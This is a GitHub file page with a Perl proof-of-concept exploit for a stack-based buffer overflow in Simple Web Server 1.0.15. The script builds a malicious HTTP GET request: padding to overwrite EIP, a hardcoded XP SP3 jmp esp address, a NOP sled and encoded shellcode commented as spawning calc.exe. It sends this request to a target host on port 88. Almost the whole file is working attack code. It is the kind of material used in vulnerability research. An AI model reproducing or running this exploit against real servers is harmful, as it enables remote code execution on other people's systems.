-
-
Notifications
You must be signed in to change notification settings - Fork 27
Expand file tree
/
Copy pathsimplewebserver-bof.pl
More file actions
executable file
·31 lines (26 loc) · 1.19 KB
/
Copy pathsimplewebserver-bof.pl
File metadata and controls
executable file
·31 lines (26 loc) · 1.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/perl
# Stack based buffer overflow in Simple Web Server 1.0.15
# Written by Wireghoul - http://www.justanotherhacker.com
use IO::Socket::INET;
$host = shift;
$port=88;
# Spawn calc.exe
$shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
$payload="GET "; #4
$payload.="A"x 226; # Distance to overwrite EIP
$payload.="\x53\x93\x42\x7e"; #XP SP3 USER32.dll jmp esp address
$payload.="\x90" x 8; #nop sled, not needed
$payload.=$shellcode;
$payload.=" HTTP/1.0\r\n\r\n"; # Terminate a valid http request
$sock=IO::Socket::INET->new("$host:$port") or die "Unable to connect to $host:88\n";
print $sock "$payload";